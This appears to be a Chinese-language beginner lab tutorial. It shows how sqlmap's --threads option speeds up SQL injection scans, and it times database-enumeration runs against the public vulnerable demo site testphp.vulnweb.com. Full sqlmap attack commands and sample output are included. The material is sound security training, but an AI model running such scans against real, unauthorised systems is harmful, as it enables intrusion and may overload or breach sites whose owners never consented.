使用 sqlmap 的线程优化扫描性能

Kali LinuxBeginner
立即练习

引言

sqlmap 是一个强大的开源渗透测试工具,它能自动化检测和利用 SQL 注入漏洞的过程。默认情况下,sqlmap 顺序执行测试,一次发送一个请求。虽然这种方式可靠,但可能速度较慢,尤其是在处理复杂的 Web 应用程序或执行基于时间的盲注测试时。

在本实验中,你将学习如何通过使用 --threads 选项来显著加快你的 sqlmap 扫描速度。这个标志允许 sqlmap 并发执行多个 HTTP 请求,从而大大缩短完成扫描所需的总时间。你将执行一系列不同线程数的扫描,并比较结果,亲身体验性能的提升。

执行单线程基线扫描

在此步骤中,你将执行一次基本的 sqlmap 扫描,使用默认的单线程设置。这将作为我们衡量后续步骤中性能改进的基线。我们将使用 time 命令来精确测量扫描的持续时间。

首先,在你的终端中执行以下命令。此命令指示 sqlmap 扫描提供的 URL (-u),枚举数据库 (--dbs),并以非交互模式 (--batch) 运行。我们将把输出重定向到一个日志文件,并使用 time 命令来测量执行时间。

(time sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch) 2>&1 | tee baseline_scan.log

扫描完成后,你将看到大量来自 sqlmap 的输出,最后是时间测量结果。它看起来会像这样:

... (sqlmap output) ...

[22:30:00] [INFO] fetching database names
[22:30:00] [INFO] the SQL query used returns 2 entries
[22:30:00] [INFO] retrieved: information_schema
[22:30:00] [INFO] retrieved: acuart
[22:30:00] [INFO] available databases [2]:
[*] acuart
[*] information_schema

[22:30:00] [INFO] fetched data logged to text files under '/home/labex/.sqlmap/output/testphp.vulnweb.com'

[*] ending @ 22:30:00 /2023-10-27/


real    0m45.123s
user    0m5.456s
sys     0m0.789s

对我们来说最重要的值是 real,它代表了总的实际经过时间。现在,让我们将此结果保存到我们的比较文件 scan_times.log 中。

echo "Baseline (1 Thread): $(grep real baseline_scan.log | awk '{print $2}')" >> scan_times.log

最后,查看日志文件的内容以确认基线时间已记录。

cat scan_times.log

你的输出应该显示记录的时间:

Baseline (1 Thread): 0m45.123s

理解 --threads 标志的作用

在此步骤中,我们将花点时间来理解本实验的关键特性:sqlmap 中的 --threads 标志。此步骤无需执行任何命令;目标是在应用之前理解这个概念。

--threads 选项用于设置 sqlmap 在扫描期间将执行的并发 HTTP(s) 请求的数量。默认值为 1。

工作原理:
sqlmap 不会发送一个请求并等待响应后再发送下一个,而是可以开启多个“线程”同时发送多个请求。这种并行性对于涉及大量请求的任务尤其有效,例如:

  • 模糊测试漏洞。
  • 暴力破解数据库名称中的字符(盲注 SQL 注入)。
  • 提取大量数据。

优势:

  • 速度: 主要优势是显著缩短扫描时间。
  • 效率: 它能更好地利用你的网络连接和系统资源。

注意事项:

  • 资源使用: 增加线程数会消耗更多的 CPU 和内存。
  • 目标稳定性: 非常高的线程数可能会压垮脆弱或配置不当的 Web 服务器,可能导致拒绝服务。
  • 检测: 激进的多线程扫描更容易被 Web 应用程序防火墙 (WAF) 或入侵检测/防御系统 (IDS/IPS) 检测和阻止。

sqlmap 允许你将线程数设置为 1 到最大 10。在接下来的步骤中,你将看到调整此值如何影响扫描性能。

使用增加的线程数 (--threads=5) 重新运行扫描

在此步骤中,你将应用你对 --threads 标志的理解。让我们重新运行与之前相同的扫描,但这次我们将并发请求的数量增加到 5。

在你的终端中执行以下命令。它与第一个命令相同,只是增加了 --threads=5

(time sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch --threads=5) 2>&1 | tee 5_threads_scan.log

扫描完成后,你应该会注意到 real 时间比基线扫描显著降低。

现在,让我们将此新结果追加到我们的 scan_times.log 文件中以进行比较。

echo "5 Threads: $(grep real 5_threads_scan.log | awk '{print $2}')" >> scan_times.log

让我们再次检查日志文件的内容,以查看两个结果。

cat scan_times.log

输出现在将显示基线和 5 线程扫描时间。

Baseline (1 Thread): 0m45.123s
5 Threads: 0m15.456s

(注意:你的时间会有所不同,但你应该会看到明显的减少。)

使用最大线程数 (--threads=10) 重新运行扫描

在此步骤中,你将使用 sqlmap 允许的最大线程数 10 来将性能推向极限。这将展示在此选项的正常条件下你可以达到的峰值性能提升。

最后一次执行扫描命令,将线程数设置为 10。

(time sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch --threads=10) 2>&1 | tee 10_threads_scan.log

这次扫描应该比之前的更快。完成后,将结果记录在我们的日志文件中。

echo "10 Threads: $(grep real 10_threads_scan.log | awk '{print $2}')" >> scan_times.log

现在,查看 scan_times.log 文件以查看所有三个结果的汇总。

cat scan_times.log

输出现在将包含所有三个条目,方便在下一步进行比较。

Baseline (1 Thread): 0m45.123s
5 Threads: 0m15.456s
10 Threads: 0m9.789s

(注意:你的时间会有所不同。)

比较扫描时长并注意性能变化

在最后一步中,你将分析收集到的数据,以得出关于 sqlmap 中多线程有效性的结论。

让我们显示存储在 scan_times.log 中的最终结果。

cat scan_times.log

你将看到类似以下的输出,清晰地显示了每次扫描的时长:

Baseline (1 Thread): 0m45.123s
5 Threads: 0m15.456s
10 Threads: 0m9.789s

(注意:确切时间将因网络状况和系统负载而异,但趋势应该很明显。)

分析:
从结果中可以看出,随着我们增加线程数,扫描时间会显著减少。

  • 从 1 个线程增加到 5 个线程可能产生了最显著的性能提升。
  • 从 5 个线程增加到 10 个线程仍然显示出改进,但可能不那么明显。这是因为除了线程数之外的其他因素——例如网络延迟或服务器处理并发请求的能力——开始成为瓶颈。

这个实验清楚地表明,使用 --threads 标志是优化你的 sqlmap 扫描的一种简单但非常有效的方法。

总结

恭喜你完成了这个实验!你已成功学会如何使用并发请求来优化 sqlmap 扫描性能。

在这个实验中,你:

  • 执行了单线程基线扫描,以建立性能基准。
  • 学习了 --threads 标志的用途及其优点和注意事项。
  • 执行了 5 线程和 10 线程的扫描,以观察对扫描时长的影响。
  • 比较了结果,并确认增加线程数可以显著减少扫描时间。

掌握 --threads 等选项对于进行高效且及时的渗透测试至关重要。请记住负责任地使用此功能,因为激进的扫描可能会对目标系统产生负面影响。